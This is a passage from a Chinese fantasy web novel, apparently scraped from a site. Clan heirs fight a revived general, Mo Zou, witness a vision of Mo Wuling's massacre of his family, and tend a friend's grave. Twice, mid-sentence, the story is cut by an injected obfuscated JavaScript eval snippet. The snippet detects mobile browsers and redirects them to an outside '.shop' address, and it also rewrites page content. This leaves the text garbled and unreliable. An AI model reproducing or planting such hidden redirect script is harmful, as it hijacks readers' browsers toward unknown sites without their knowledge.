十六年前墨门之变,他听从墨家指令,成了杀人不眨眼的活恶鬼,不仅亲手杀了顾於眠的两个亲叔伯,重创顾家军队,还借同萧家的交情,领骑兵大摇大摆入了萧家地盘。 那年萧家即将接任家主的长公子萧炆同他夫人就因此死在墨邹手上,可怜了他们年仅五岁的儿子萧暮然苦等几年,等来的竟是父母寒透的尸骨与三年的披麻戴孝。 只见墨邹无光的双目扫视周遭,令观者皆寒入骨髓。 “解铃还须系铃人,他既阴魂不散,恐怕以我辈之力还收不了他……”顾於眠沉思片刻才谨慎道。 严卿序听出他话中有话,于是问:“顾公子可有头绪?” “不是十拿九稳,却也八九不离十吧……现任萧家家主萧榆应知此局如何解,新仇旧怨怎么都得好好算算才是。”顾於眠言罢便垂下头去,在心底暗自盘算着什么。 萧榆其人还算温良,自二十三岁那年兄长去世被迫接下家主之位起便断了俗欲,他一手将兄长之子萧暮然抚养长大,至今仍是个无妻无子的青蝇吊客。 只是说来可笑,这墨邹曾为萧榆挚友,两人总角之交至及冠之宴,高山流水,引作知音。但这孽缘从十六年起便注定成为萧榆这辈子挥之不去的梦魇。 当年墨家能顺利攻入萧家的城,便是萧榆在他大哥面前为友求情的“功劳”。传言萧榆跪地苦苦哀求萧炆信他一回,停战洽谈,萧炆才终于点头。 怎知一纸合约成了萧家主的命契,只短短几个时辰,放下剑的萧家兵便成了刀下鬼。背信弃义的墨家兵发动奇袭,那领头的墨邹一身银盔,神圣得若天兵神将,谁曾想却当着萧榆的面一剑砍下了他大哥大嫂的脑袋。 他俩的头颅就那样骨碌碌地掉在战场的飞尘里,若非萧瑜疯犬般死命护着,连仅存的头颅都要被嘶鸣乱马踏烂在黄土中。 风声猎猎,萧家的战旗被墨氏骑兵踏入泥地,萧家人血聚而成河。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775663|190300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此外,那自小同萧家相亲的墨邹借着萧榆告诉他的密道,从内部踹开了萧家樢城的大门,墨家骑兵就这样不费吹灰之力便入了城。那日满城哀嚎,若非援兵来得及时,萧地还会有无数个樢城…… 这让萧榆如何不恨? 当持续了三年的“墨门之乱”终于在瓢泼大雨中结束之时,披盔戴甲的萧榆将长剑狠狠扎入墨家兵的尸堆中,仰天痛哭。 他说这辈子最后悔的便是信了墨邹,说这辈子最遗憾的便是没能亲手杀了墨邹。 他的轻信害死了长兄,更令尚且年幼的萧暮然丧了考妣。 “顾公子……” 当顾於眠在严卿序地轻摇下回过神时,那群阴兵已在积满尘灰的白石阶上跪下了。分明早便是黄泉小鬼,一个个面上却写满了不甘。 人群中不知何时钻出个白头巫祝,那人蓬头垢面,羽衣大袖,左手撑一杆破旌旗,旗上用血写了个大大的“墨”字,右手则拿着个挂满铃铛的长木棍。 “死都死了,还阴魂不散,当真可笑。”谢尘吾骂了一句,“他们也配?” 刹那间,那巫祝掀开褴褛的衣裳,一把弯钩刀毫不犹豫地划破手臂,淋漓鲜血霎时间如泉淌出。汩汩鲜红沿着他干巴巴的皮肉,经由几道扭曲的疮疤,淌入一磕碎边角的土陶泥碗中,而后他神神叨叨地将那碗举过头顶,接了些雨水。 “唰——” 一碗血都被他泼在了阶下,四人不解时,熊熊大火刹那间将庭中古木围绕起来。百年古木的枝叶在烈火中颤动着,挣扎着,却在滚烫中无可奈何地被碾作灰末,同那树一齐消失的,还有树梢上挂着的无数祈愿红纸,顾於眠蹙眉看着,禁不住叹了口气。 “苍天呐!我墨氏族人横遭此罪,小人椎心饮泣十余载,敢问苍天不公,如何可能普渡众生?!蜩螗羹沸,乃我族人于阴曹之茹恨嚎哭!!!” “黄泉之下,我墨氏族人如断梗浮萍,无所归,反狗彘不若者存世暴戾恣睢,敢问凭何!?天道不公,蛊惑人心,配不得我氏跪拜千年!吾以吾血祭地府五方鬼帝、十殿阎王,且唤我氏族人之魂归来!!!” “唤魂术……”顾於眠微不可察地露出几许寒色。 唤魂还魂,死人不死,生者无生。 这唤魂术乃世家禁术,上一次擅用的还是柳家一个不要命的旁系,终是被千刀万剐,不得超生。简而言之,唤魂是以自己的血肉献祭鬼神,换得已死之人的魂魄归世,但既是禁术,则必有其劣处。其一,招魂乃逆天而行,还魂者以人血肉为食;其二,借此法或可驱使百万亡魂为己所用,灭门灭派,毁天灭地不在话下。 只见天象诡谲,一道惊雷被引至只剩躯干的古木顶,那古木霎时间化作灰烬,中央塌陷下去,成了个深不见底的昏渊。血光盈盈间,那群阴兵突然开始乱叫,惨白的面上带着瘆人的笑。 “魂归!!!”又听得那巫祝撕心裂肺地喊了一声。 倏忽间,万籁俱寂。也几乎在同时,那深渊底下响起了喧阗的人语声,不过须臾,无数双青灰枯瘦的手便攀上了裂缝的边缘。那些手再一使劲,难以计量的尸鬼便自坑中爬了出来,愈来愈多,愈来愈密,像是无数爬虫从晦暗无光的穴中涌出,到最后结束时已洋洋洒洒百余人。 “记载了唤魂之术的古籍多且分散,果然要想其真正断绝难如登天。”严卿序叹了口气,“世人贪欲无休无止,逆天改命,起死回生,从来是四地乱源。” “墨家秘宝本便有唤魂之效,若他们真的手执秘宝,恐怕也用不着唤魂术。”江念与眉间愁色明显,说出的话却无由带着些冷淡。 “亡缈佩?那不是用来造毁神识的幻境的么?”谢尘吾并不苟同,他取来个干净帕子掩住口鼻,用手轻轻挥开飘散至眼前的草木灰。 凡是连宗族私藏的秘宝都被人弄清的,大抵这族不是灭门就是将近灭门了。 “墨家的秘宝不止一个吧?亡缈佩的名声可不如‘墨家兵符’,墨家兵符相传可号令百万亡魂为己所用,要比亡缈佩阴邪得多。”顾於眠耸耸肩。 江念与颔首道:“十六年前墨氏最终一战大败,墨家兵符被领头的廉、李、沈三族共毁,碎作几半,被来往的战马兵车碾作了尘土,再不见踪迹。可毕竟是一族秘宝,恐怕没那么容易毁掉,十余年来世家都疑心兵符尚且存世,故皆不遗余力地探寻兵符碎片的下落,可惜都一无所获,因而这几年才逐渐没了风声。只是,若当今世上真有人拿着墨家兵符试图谋乱……” 他欲言又止,几人却都明白他的意思。 “可这世间除了十五族,又有几人有能力寻到四分五裂的墨家兵符……”顾於眠盯着那巫祝,眼神黯淡。 闻言,严卿序面容凝滞,谢尘吾却冷笑出了声。 “你怎就不怀疑这烂摊子便是十五族内人捅的呢?你当十五族都是些什么善类?” 顾於眠扶了扶额,叹道:“我哪能想不到啊……只是污蔑十五宗族内有叛贼无疑盛世添乱,这责任我们何能担得起?” “怎么?你会怕我一语成谶?十五族暗室欺心本就虚伪,受之荫庇结党营私的城狐社鼠你又看见了多少?三年前虚妄山我见你尚有几分伶俐,未曾想今朝倒不如过去。” “谢公子所言极是。”顾於眠并不恼,他习惯性地卖笑,那笑中狡黠也并不显露,他将被压得有些皱的袍角捋平,“只是我不万不敢乱泼脏水,有无叛徒也不是我说了算。” “成日虚与委蛇、明争暗斗,出几个狂妄的叛贼又有何难?” 谢尘吾咄咄逼人,严卿序听罢摇头,作势要去捂谢尘吾的嘴,苦口婆心劝道:“尘吾,谨言慎行呐……” 顾於眠当然清楚,邪祟不会无由群涌而出,十五族中有无奸人,他不乱猜,却也不信没有。这休明盛世已过十余年,溺死温柔富贵乡的十五族终究还是放不下手中带血的刀。 风声鹤唳,草木皆兵,正因为都不干净,才会如此小心翼翼,怕冤死在百丈黄土底的魂灵归来寻命债,也怕虚情假意的至交在身后冷不丁捅一刀。 只是该来的都会来,谁又逃得掉?顾於眠笑着接过了谢尘吾的白眼。 俩人还没争出个所以然,便看见那巫祝嘴里念叨着什么回过身,他将长木棍重重在石阶上敲了几下,震得上头铜铃响个不停。而后他唇一勾便朝四人藏身处露出个瘆人的笑,只见他张口露出并不齐整的牙,道—— “黄毛小儿,狗彘之子,既不知天高地厚,便让老朽来教教你们罢!!!” 4. 墨府 顾於眠将殿门撞开个缝,猛然将差些跑过去的严卿序给拽进屋中,而后将门踹上,用手捂住那惊诧之人的嘴,屏息以待。 只听得外头传来飞檐走壁与盔甲摩擦之声,有阴兵踩过屋顶碎瓦跑了过去。顾於眠松开手去,却还是耐住喘,倚着严卿序贴在墙角,不敢发出一点声音。 待追兵的声音远去,二人才长舒了一口气。他们鲜有如此狼狈的时候,这会顾於眠衣衫凌乱,发髻散开,几缕须发自他额前垂下。 方才那谢尘吾、江念与二人将他拉着往俩头跑,差些将他胳膊给拽断了,谁知江念与松开手时,谢尘吾也把手给松了,他一时间愣在原地,还是严卿序将他捎上了。俩人一通乱跑,不知绕到了何处,那俩冤家也不见了踪影。 顾於眠仰首扫了眼面目全非的佛像,幽幽说了句:“原来是二殿旁的偏殿。” 那殿中佛像较大殿小些,也因而被毁得更为彻底,里头草木流沙,像是在淌血。佛像前的供桌上还摆着两盏长明灯,灭了一盏,余下的一盏也只能勉强照亮屋内。 顾於眠轻车熟路地领着严卿序入了佛像后头的一窄屋,那里本是个置香具的处所,里头放着些陈年老香,蛛网牵在上头,因门缝中钻入的冷风而颤悠悠地晃,。 “念与一会又要说我似浪人了。”顾於眠取下簪子束发,严卿序只默默走至窗前查看外头景象。 雨又开始下了。大雨哗啦啦地浇着早已朽败锈蚀的荒寺,满地的枯草被雨打弯后贴在泥面上。往昔,沿着这条白石铺的甬道入殿,虔诚信徒许会跪坐蒲团无数次叩拜佛祖,祈求平安顺遂、富贵亦或良缘。 顾於眠见他失神,也凑过去瞧:“在看什么?” 热气喷在他耳边,严卿序觉得耳有些发烫,于是默默挪开些:“只是觉得可惜。” “这世上憾事千千万,可不能总觉得可惜。”顾於眠将手肘搭上他肩,打趣道,“严公子是个濯缨沧浪之人,倒适合修行,生在这贪得无厌的十五族才是真的可惜。” “我也贪。”严卿序垂了垂眼,长睫半掩住他的眸子,顾於眠偏头去瞧,却只看见了他有些神伤的面容。 “哦?贪什么?严公子有何求不得?”因是不解他人情,顾於眠笑得格外灿烂,“耳朵怎这么红?是不是这屋中太闷?” “砰——” 一声巨响后,偏殿的门被人从外打开了,只听得沉重的足音间夹带着银盔相碰之声,一个巨大的人影被房外长明灯打在了斑驳的墙上。一阵疾风倏地入殿,那强撑着烧了十余年的长明灯终于“寿终正寝”,昏暝彻底笼罩了这小殿。 “墨邹……”顾於眠在严卿序耳畔念了声。 刹那间,空中“轰隆”一声雷响,墨邹一剑劈开房门,冲入屋内。可惜,本紧闭的窗已经被人打开了,雨丝斜飞入屋,将一地香具淋得湿漉漉的。他撑住窗沿翻出去,只看见了暴雨中飞速移动的两个模糊黑点。 ------------------------------------- 二人并没觉得能跑得过亡魂,只是缩在那窄屋中打斗实在不便,这才飞奔出来。恰如二人所料,俩人刚至监院前,便被墨邹拦住了。 严卿序先出了手,那把名家锻造的焚痕方一出鞘,剑气便震得顾於眠心头一紧。顾於眠眯了眯眼,盯住了那以武扬名的严卿序。他在虚妄山时见识过严卿序的身手,严卿序是那年虚妄山剑术比试的魁首,还要压以快剑闻名的谢尘吾一头,想当初他还有所诧异,因为严卿序瞧上去确实更像文臣而非武将。 空中雨还没来得及落在他身上,严卿序已至墨邹身前,焚痕长剑比他的主子要凶得多了,打眼看去剑柄上的玄玉像是毒蛇的眸子,总能将来人吓得不敢动弹,可墨邹本非等闲之辈,过去年少成名的少年将军又怎可能输给一个年方二一的小子? 所幸那亡魂的身手比生前要迟钝不少,严卿序飞起一脚踹在墨邹身上,落地后扫过满地泥叶蒙蔽他眼,旋即一剑刺入他的腿中,可他将剑猛一抽出时,那墨邹却连愣都没愣,抬起腿便踹向欲近身的严卿序。 严卿序闪开,也只是堪堪稳住身子,那不知痛的墨邹又到了面前。 被焚痕捅出的大口处的皮肉先是极快地腐烂,而后又迅速愈合,眨眼间已恢复如初。 荒寺中凉风瑟瑟,不远处鬼火闪烁,几星血红的光在外头亮起,像是野物淌血的眼,墨邹的一把寒剑却比周遭诡怖景象要更让人心底发虚。 严卿序将眉头一压,猛然扫腿将墨邹绊倒在地,而后起身,一只腿压在墨邹身上,两只手握紧焚痕眼都不眨一下便不留情地捅入墨邹的头颅,一寸一寸,直至完全捅穿,剑锋已刺入土中几许。 他面上带着些病态的漠然,眸子晦暗不明,而后又染上了点点猩红。因是相隔太远,顾於眠看不大清他的神色,以至于有些恍惚。 溅出的黑血和混浊浆液沾了严卿序满身,周遭草木也被那脏血给染污了,他见墨邹不再动弹才终于起身。 严卿序背对着顾於眠,没有回头。顾於眠有些困惑,于是唤了声:“严公子?” “先别过来……”严卿序的语声依旧柔和,顾於眠看不见他面上表情,只能瞧见他将焚痕收回鞘中,又取出个干净帕子擦起了面上的脏污。 “怎么了?”顾於眠并不乖顺,也自然而然将他的话作了耳边风,他大步向前去,语声朗朗,面带笑意,“我不怕的。” 不怕?不怕什么? 严卿序有意避开顾於眠的目光,顾於眠却笑着把手拍上他的肩,将他转了过来。 “让我看看神武的严公子这是怎么了。” 顾於眠一边打趣一边微附身看那垂头的严卿序,这才瞧见了他发红的眼与紧蹙的眉,谁知他却笑道:“啊呀,都说是杀人容易杀红眼,没成想严公子杀鬼也会红眼。” 见他不语,顾於眠又笑着朝他摊开了手,严卿序不解其意。 “把帕子给我,我帮你擦!溅到发顶的你瞧不见,可擦不干净,我可不能让我家贵客如此狼狈地出林子。严公子,别担心,你这张俊脸沾了什么都遮不住英姿的。” 顾於眠只是笑,严卿序却抿抿唇,低低“嗯”了一声。 “仅仅是红了眼,又不是发了狂。有良心的才因杀生红眼,没良心的连眼都不眨。”顾於眠似笑非笑,竟让严卿序觉得有些陌生。 倏忽间,顾於眠神色变了变,手在腰间一探,握住剑柄便将朝云剑抽了出来,旋即将腿向左前一迈,绕到严卿序身后迎上了已至眼前的墨邹。 雪白的朝云剑于半空携风划了道银晖,杳霭流玉,清光霎时间拨雾而出,凛冽剑气随长剑刺入墨邹臂膀。登时,墨邹肩上那处骨头便碎尽了,又是一大股浓血喷溅,顾於眠皆避开了。 严卿序未尝料到这墨邹的自愈能力竟如此强,因方才大意感到有些歉疚。他趁墨邹在顾於眠的重击下犹豫之时,快步上前将剑砍上了墨邹的躯身,他那姿态倒不似去杀人的,偏又将人逼得无路可退。严卿序他手上砍了几刀,欲趁其麻木缚住他的双手,怎知此次墨邹没有半分犹豫,抄起剑便直直砍向了严卿序的左臂。 一阵锥心的疼痛密密麻麻地扩散至全身,血汨汨从他的手上淌下,严卿序连瑟缩都无有,却更发了狠般朝墨邹刺去。银光乍起,长剑穿心而过。墨邹颤抖着握住胸口的剑,想要拔出。严卿序却趁着这个机会,从怀中取出条缚魂索将其牢牢捆住了。 墨邹终是动弹不得,僵如磐石,没有半分生机,倒真像个死人了。 将墨邹压制住后,严卿序才倚靠着一旁的枯树滑下,跌坐在地。他垂下眸子深吸了几口气,感觉到手臂上那伤口很深,血还在止不住地往外流。他一声也不吭,咬咬牙撕开那处有些牵连着皮肉的衣服,又取出怀中金疮药不带犹豫地洒在手臂伤口上,痛感一瞬遍及全身,他已有些头昏脑胀。 迷蒙中他听见顾於眠在唤自己。 “严公子!” 顾於眠在他身侧蹲下,眉头拧得很紧——他自己从不怕疼,却看不得旁人身上带伤,那疼是钻心的。 “无妨,”严卿序温柔笑道,“我缓缓便好。” 顾於眠闻之抬头,于是瞧见严卿序舒展而温和的眉目,河岸清柳般温润大方的公子,却偏持了把煞气森森的焚痕。但那温润模样同冷冽杀意竟也不冲突,都一齐融在了他的笑面中,只若带去寒冬的徐徐春风撞入怀中。 “莫要笑了,严公子。”顾於眠无奈叹了口气,从怀里拿出个银瓶和几条干净的白布,“这会该哭才是,只是男儿流血不流泪,也哭不得。你先忍忍,我帮你包扎。” 严卿序听着那话觉得好笑,又怕顾於眠不好意思,于是抿唇忍住了,盈盈笑意从那双深邃而好看的眉目中淌了出来。他小心翼翼地抬眸瞧着顾於眠那副认真的模样,便见担忧若缕轻烟停在他的眉心间,化不开。 “我没事的,别担心。”严卿序轻轻说着那话,温柔间又带了几分缱绻。 “是是是,”顾於眠见他尚且精神,也没再丧着脸,单在严卿序身侧笑着坐了下来,一手轻轻扶住他的手臂,一手打开了银瓶的盖,“十人九慕的严公子自然不同凡俗。” 严卿序觉得耳边有些发烫,于是轻轻侧了侧脸,没敢朝顾於眠那看。 太近了。 顾於眠没发觉,只是垂头将药粉洒在严卿序伤口处,将白布仔细缠在了严卿序的伤口处,扎了个小结,这才拍拍他的肩笑道:“我也只能如此帮你简单处理一下,待回了顾府再让医师好好帮你看看,方才还要多谢你。这墨邹难缠,单论剑术我也算不准能有几分胜算”。 言罢,顾於眠又移目瞧了瞧那被缚住的墨邹,耸了耸肩:“都是死人了,却依旧有血有肉,这唤魂再塑肉身的术法当真阴邪……若是这样,同起死回生又有多大分别?” “可他失了魂,已无意识。活死人,同死何异?”那伤对严卿序而言不算什么,这会他已经像个没事人似的站起身了,“阵眼既已被缚,这阵不多时也该解了。但他不过一个亡魂,必不可能有如此大的本事,怕便怕其体内真的有墨家法器,背后推波助澜者更不知从何查起。” 顾於眠点点头起身,却隐约瞧见严卿序身后有什么东西,于是将他摁住站定。 严卿序见状也回过身去,只见一个斑驳的大门已贴近脊背。那迷雾中赫然显现一个破败的府邸,两人又后退几步,扫视周遭,发觉那门边不知何时散了几具白骨。 鎏金的牌匾碎了一地,府门前白梨满地,枯黄的瓣蜷起,沾满尘泥,脏得不像样。 突地“轰隆”一声响,那红漆脱落的大门缓缓敞开,顶梁积压的尘土簌簌下落,呛得顾於眠咳嗽不止。他掩住口鼻,毫不犹豫踏了进去,严卿序则牵着墨邹跟在身后。 府内比外头要更凄凉,灯火阑珊,堂前覆满尘灰的红条已然残破,那红条上依稀可见一“封”字,力透纸背,恨都入了墨里。 顾於眠贪婪地吸了一口府邸中的凉气,这才小心推开堂门,在看清了其中景象后便愣在了原地,后至的严卿序也只能蹙紧眉,别过头去——七八条白布绕过高高的屋梁垂落,断掉的蛛丝缠绕其中,白布上挂着几个泪痕未干的女子与死不瞑目的孩童。 因是那屋中阳气阴气皆不重,俩人知道寻不到有用的东西,便默默退出去,沿着院子往府邸深处去。 穿行于那只剩尺椽片瓦的长廊,倒像极走于荒凉古陌,败叶随风落,满身都是离人十余年都散不去的怨。 两人一言不发地向前走,谁都没有开口。若是环堵萧然、室如悬磬倒还不觉悲怆,偏偏这里一副人去楼空,繁景远逝之感,悲凉曲声和着不知来处的哭喊声齐齐入耳。 顾於眠掩住耳,不愿再听,再抬眸时已停在了一屋前。 两人默默踩过白玉铺成的阶站在了主屋前——空荡无人的屋子内十三连枝青铜灯侧翻在地,黑黢黢的浓血附着在物什上,而今都在风中干透了。 严卿序先走了进去,瞧见散落一地的书卷上写满游云惊龙般的墨字,铁画银钩,力透纸背,心中一动。 连向来对这笔墨纸砚不感兴趣的顾於眠都忍不住叹了句:“如此笔力,也太为精绝……” 严卿序没有感慨,只讷讷道:“墨无伶……” 屋外突地送来阵凉风,一阵迷蒙间,眼前竟已变了番景象。 灯火通明的屋中,十三连枝的青铜灯灿灿生辉。烛火摇曳,不吝勾勒着男子伏案挥墨的俊美模样。那男子柔软的乌发散在肩头,一身薄衣,眼底笑意深深。 二人本小心翼翼地在屋中挪动步子,见他并无反应,这才大着胆子走近前去。那人执一支狼毫在画的右下角署名,顾於眠凑过去仔细瞧了瞧,画的也是个俊逸非凡的男子。他觉得眼熟,却又想不起那副样子在何处见过。 那男子笑着将那画拉起来,自己欣赏了会,却又垂了垂眼睫,黯淡下去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16775664|190300||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眸子里氤氲着莫名的悲伤,他叹了句:“怎还是画不出他的神韵来。” 屋外冷不丁传来一声惊雷炸响,震得屋子都在晃,那人困惑地起身,却见一道闪电倏忽间入屋,恰劈在烧得正旺的火烛之上。烛火突然熄了干净,漆黑中严卿序拉住顾於眠的手,将他引至身侧。 又听得几声巨响,烛又燃了起来。 那伏案的男子这会已经立在窗前,霜白月光散在那人毫无血色的面上,他扶着额,一副头疼欲裂模样。可当他再抬头时,面上却带了个扭曲至极、近乎疯癫的笑,他扯着嘴角,双目通红,突地哈哈大笑起来,而后将案桌上的笔墨纸砚一并挥翻在地,砚台里的墨将那人面图染得极脏。 “哈——哈——哈——” 听到屋中动静的侍卫穿过回廊入了屋,却是面面相觑,愣在原地,不知如何。 “公子?” 语声未落,那疯魔的男子已经拎起长剑砍上了侍卫的脖颈。不过刹那间,本沉静的大殿上缀满了将士血开出的花。 他提剑入院,娇怯的侍女皆成了刀下鬼。 冤死者的血都溅在了院中白梨上。 几道虚影又“唰”一声掠过眼前,他快步入殿,一剑刺入老父的胸膛,任母亲痛哭流涕,不知如何。 院中白梨薄瓣如雨坠。 “你干什么!?” 他又几剑砍下拦路的胞弟的头颅,污脏的黑血沾了他一身。 白梨落,尘泥染。 众将跪倒于地,不磷不缁者自刎而死,苟且偷生者接过六块玄色兵符,持剑上马,杀出血路。 墨门之变,一夜屠魏家,两日埋樢城,饿殍遍地,肝髓流野。 烽冼、泸昇等八座城的布衣白骨积成登天之山,魏家、萧家等十五族的尸首成了战马蹄下尘。 将军说:“誓死效忠墨家。” 于是混沌噩梦,领头的便是第一将军墨祯与第二将军墨邹。 哭泣呜咽伴着惊声尖叫都融在了血水中,那男子倒在了他费尽心思一笔笔欲画出神韵的人刀下。 他说:“对不起。” 霎时间天旋地转,昏天黑地间,顾於眠在狂风中握紧了严卿序的手。俩人再醒来时,已躺在那荒凉的院中,庭前白梨落了他们满身。 “方才那是墨无伶?”顾於眠觉得嗓子有些发哑,他发觉不妥,在严卿序反应过来时先松开了严卿序的手,“没成想竟是个美人,戏本上的他可青面獠牙……” “他怎突然发了疯?”严卿序将眉拧的很紧,“十六年前的事,如今若再想说有隐情,恐怕……” “不好说,若他本来便心术不正,走火入魔是片刻的事。”顾於眠拍落身上的白梨瓣,“弑父杀弟,残害无辜。不孝,不仁,不义……” 十六年了,距离那场人祸已经十六年了。只是疮疤还在,只是苦恨难减。 十六年前墨氏战败,满门遭屠,老幼妇孺一个都没放过,怕的便是卷土重来,惧的便是没休没止的寻仇报怨。十五族无人敢替他们喊冤,也无人会替他们喊冤。 墨家为何突然发动战争——因为墨家想一统天下,因为墨家想重新做四地的王。 “重新”之言从何说起? 那已经是这代人在史书中读到的事了。 平意之争以前,这疆土之上还是四国鼎立,李、魏、墨、白分别为四国皇族。然而百年前,一场天灾令千万平民百姓之怨火烧到了四姓皇城,起义者揭竿而起,皇族终入凡,自此过往的十二姓臣族与皇族同位,再无附庸之意。 又因四地十六族子孙自古窥得天机,天生受上苍怜爱,获鬼神术法,百姓为得庇佑以维持盛世太平,故尊十六族为贵,也因而十六族至今尤为望族。又因十六族分属四地,故各地均划四区而分治,无高低贵贱之分,以大族名号存世,史称“平意之争”,自那时起纪年称“天無”。 也从那时起,东北部的旧李地称禮间,有李、顾、许、若四族;北部的旧魏地称渭于,有魏、陆、江、廉四族;东南部的旧墨地称陌成,有墨、纪、谢、柳四族;西南部的旧白地称百权,有白、严、萧、沈四族。 河清海晏,东风入律,十六族和睦融治,相交来往,共同绘了幅民安物阜的休明盛世图。 尽管暗流涌动,但近百年来都无人捅破相安的窗户纸,除了那自诩“天潢贵胄”,受不得成了“旧时王谢”的墨氏。 天無九十一年,十六族之一墨宗族起兵造反。墨氏动用禁术大肆屠杀反抗的宗族,致使苍生涂炭、血流成河。幸而在其余十五族的共同绞杀下,战乱于三年间平息,原墨世家管辖范围划入纪、谢、柳三族,墨氏族人的名姓被从宗族族谱上移到了一本厚厚夺命薄中,一一灭尽。墨氏术法自此尽失,史称“墨门之乱”,纪年也自此改作”寻無”。 而今已是寻無十六年,墨氏成为凡人口中的笑谈与蔑称,遗落尘世,碾入凡土。 这便是世人口中的墨门之变,血腥、残暴、十恶不赦,并无一丝半点资格喊冤。 但倘若墨门之乱尚存隐情,墨无伶本便无发动战争之意,而是受人蛊惑,亦或受术法操控,不同凡俗的其余十五宗族根本难脱干系。要有多阴邪的术法才会让十六族之一的墨宗族都无抵抗之力?顾於眠想不出来,却知道若那毒种依旧埋在四地厚土中,日后迟早结出更可怖的果。 顾於眠愈是这么想着,愈是觉得心中惴惴不安。他咽了口唾沫,瞧了眼一旁的严卿序,见他也是眉头紧拧,于是叹了口气:“严公子,我们……走吧?” 严卿序点了点头,自逐渐化作缥缈浮尘的府邸中走了出去。 顾於眠心头一动,不自觉地回望。最后一眼,他似乎隐约看见了墨无伶正站在那逐渐坍塌的屋中,地上铺了六张画。 画中绘了雾中林,山上雪,松下箫;画中还绘了布衣羽扇的书生,泼墨执笔的才子,鲜衣怒马的少年。 自那一眼起,亦或是自两人踏入府邸起,顾於眠便清楚,他们皆入了局,而且逃脱不得。他需陪不知藏身何处的对弈者下完这局棋,这局必将引来血雨腥风的棋。 而当时的他却并不知道,这场棋,他生生下了五年,而背后之人要让他用一辈子去忘却。 倘若早知命途多舛,他们又何必在这条浸满血泪的歧路上痴痴向前,也早该意识到,人生在世,蚍蜉撼树本就不可能,护得了一方,保不全所有。 天命无情,从来如此。 5. 青冢 半个时辰的功夫,林中雾果然散尽,吵吵嚷嚷之声登时在周遭散开。说来古怪,众人相隔皆不过几步之遥,方才却如行旷野,寻不见半个人影。 顾於眠眸光微沉,本合着些见不得人的死寂,然而他抬手擦去面上尘,又笑笑盈盈回过身,推手作揖道:“严公子与谢公子此番远道而来,不曾想遇到这等怪事,如若不嫌弃,还请二位公子暂且去顾府落脚。家父若听闻二位在此,必是说什么都要留下二位公子呢。” “盛情难却,恰我二人也未定下去何处落脚,那么便恭敬不如从命了,多谢顾公子。”严卿序也笑着推手作了个揖。 顾於眠远远瞧见来人,又笑道:“二位公子,可还记得昭安?” 许昭安乃禮间许家的二公子,天性活泼大方,仗着家中大哥把自己捧上天的福气,总还有些纨绔子弟的骄纵模样。只是他自小和顾於眠、江念与这俩正人君子长大,倒不染红尘风月,心静得像清修的道人。他从早到晚都挂着个明媚笑脸,是个不识愁滋味的挺拔少年郎,一颦一笑间透出的尽是干干净净的爽朗。 “怎会忘?许二公子似乎没有多大变化。”严卿序冁然一笑,“仍旧这般明朗。” “是呐,昭安像个太阳,放谁身边都觉得暖。”顾於眠说这话时想到什么,又瞥了眼谢尘吾,禁不住弯起眼睛,咬着嘴唇生怕笑出声来,“是我话说太满。” “你总看我做什么……”谢尘吾撇过头去。 见江念与和许昭安走近了,顾於眠忙朝他二人招手,而后将一身金袍的许二公子拉了过来,笑道:“昭安乖,来和严公子、谢公子打声招呼。” 许昭安许久未见这俩人了,这会还有些尴尬,只能讪讪对俩人笑:“许久未见,多加关照,有时间来我许家府上坐坐。” 而后他暗暗掐了顾於眠一把,嘟囔道:“等回了家,看我怎么收拾你!” 谁料顾於眠弯指叩在他额间,笑道:“阿昭大了连我也逗!” “顾於眠!你找打!!!” “莫再打闹!”江念与见两人嬉闹不止,终于忍无可忍呵斥一声,“你们瞧瞧你们现在的样子,可还见得了人?” 顾於眠故作无辜地抬眼瞧江念与,见他依旧生气,只得站着一动不敢动任他整理:“阿昭听见没!?” “……”许昭安气得咬牙切齿,却愣是在江念与那寒凉目光的注视下消停下来。 顾於眠整好衣,又耸了耸肩,那双清澈眸子中的笑意不遮不掩:“二位还是莫再一口一个‘顾公子’地叫了,听着怪生疏的,今后便唤我名字吧。叫‘於眠’可以,叫‘阿眠’也行,这顾府尽是顾公子,也不知是在叫谁呢!” “恭敬不如从命,您也别唤我们‘公子’才是。”严卿序对他笑着偏了偏头,“这墨邹还得带到萧家在禮间建的府邸去,我们便先行一步了。” 顾於眠颔首,面上笑已敛去不少:“今日我们三人有要事需办,恕我不能陪着二位。现下顾府的马车已在密林外等候,还请二位移步。” 二人点头道谢,于是离开,顾於眠瞧着俩人的背影,面上竟逐渐冷了下来。 ------------------------------------- 草木繁盛,鸟雀轻鸣,暮春的新与旧相互杂糅,欲来不来的夏雨倒推搡着闷热的暑风先至。 骤雨初歇,散落一地的花、飘洒一地的叶相互交错着在弯弯曲曲的小路间铺开,其间掩映着一块不大的青冢,冢上刻字“陆家次子陆倾行之墓”。 那墓周遭生了许多不知名的白花,星星点点,倒是烂漫非凡,像极了旧日那天真净澈的少年郎。只可惜时序流转,这青冢已然生出杂草,那些白花中攀出些扎人的尖刺,将那青冢深深埋在荒廖与静寂的漩涡中。 三人将名剑作了锹,挖地刨土,却不觉可惜,只求将那些疯长的杂草尽数除去能换来片刻心安。 “万物有归期。”三年前那温柔少年郎望着北雁南归,语声清朗。 亦是那夜,喷薄的血海将白骨浮尸吞入深渊,他死不见尸。 三人跪在冢前,端正甚而僵直,仿若如此便能让苍天归还离人。 整整三年,他们如涸辙之鲋,画地为牢,笑不真心,哭亦不真切。 